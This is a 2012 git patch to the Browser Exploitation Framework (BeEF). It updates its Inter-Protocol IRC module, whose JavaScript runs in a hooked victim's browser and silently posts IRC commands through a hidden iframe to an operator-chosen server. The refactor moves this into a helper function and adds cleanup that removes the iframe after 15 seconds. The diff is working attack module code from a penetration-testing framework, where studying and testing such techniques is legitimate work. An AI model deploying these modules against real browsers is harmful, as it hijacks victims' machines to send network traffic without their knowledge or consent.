From b756065d2a5786b5579cb05f75e5396ee806d13d Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 31 Oct 2012 00:04:54 +1030 Subject: [PATCH] Update Inter-Protocol IRC module to use `beef.dom.createIframeIpecForm` --- modules/ipec/inter_protocol_irc/command.js | 39 +++++++++------------- modules/ipec/inter_protocol_irc/module.rb | 10 +++--- 2 files changed, 20 insertions(+), 29 deletions(-) diff --git a/modules/ipec/inter_protocol_irc/command.js b/modules/ipec/inter_protocol_irc/command.js index 47eae7975..1a86b7c37 100644 --- a/modules/ipec/inter_protocol_irc/command.js +++ b/modules/ipec/inter_protocol_irc/command.js @@ -22,34 +22,25 @@ */ beef.execute(function() { - var server = '<%= @server %>'; - var port = '<%= @port %>'; - var nick = '<%= @nick %>'; + var rhost = '<%= @rhost %>'; + var rport = '<%= @rport %>'; + var nick = '<%= @nick %>'; var channel = '<%= @channel %>'; var message = '<%= @message %>'; - var target = "http://" + server + ":" + port; - var irc_commands= "NICK " + nick + "\n"; - irc_commands+= "USER " + nick + " 8 * : " + nick + " user\n"; - irc_commands+= "JOIN " + channel + "\n"; - irc_commands+= "PRIVMSG " + channel + " :" + message + "\n"; - - var iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', target); - form.setAttribute('method', 'post'); - form.setAttribute('enctype', 'multipart/form-data'); - - var input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'data'); - input.setAttribute('value', irc_commands); - form.appendChild(input); - - iframe.contentWindow.document.body.appendChild(form); - form.submit(); + var irc_commands = "NICK " + nick + "\n"; + irc_commands += "USER " + nick + " 8 * : " + nick + " user\n"; + irc_commands += "JOIN " + channel + "\n"; + irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n"; + // send commands + var irc_iframe = beef.dom.createIframeIpecForm(rhost, rport, irc_commands); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent"); + // clean up + cleanup = function() { + document.body.removeChild(irc_iframe); + } + setTimeout("cleanup()", 15000); + }); diff --git a/modules/ipec/inter_protocol_irc/module.rb b/modules/ipec/inter_protocol_irc/module.rb index cad8d0380..7bfef2503 100644 --- a/modules/ipec/inter_protocol_irc/module.rb +++ b/modules/ipec/inter_protocol_irc/module.rb @@ -17,11 +17,11 @@ class Inter_protocol_irc < BeEF::Core::Command def self.options return [ - {'name' => 'server', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1'}, - {'name' => 'port', 'ui_label' => 'Port', 'value' => '6667'}, - {'name' => 'nick', 'ui_label' => 'Username', 'value' => 'user1234__'}, - {'name' => 'channel', 'ui_label' => 'Channel', 'value' => '#channel1'}, - {'name' => 'message', 'ui_label' => 'Message', 'value' => 'Message sent from the Browser Exploitation Framework!'} + {'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1'}, + {'name' => 'rport', 'ui_label' => 'Port', 'value' => '6667'}, + {'name' => 'nick', 'ui_label' => 'Username', 'value' => 'user1234__'}, + {'name' => 'channel', 'ui_label' => 'Channel', 'value' => '#channel1'}, + {'name' => 'message', 'ui_label' => 'Message', 'value' => 'Message sent from the Browser Exploitation Framework!'} ] end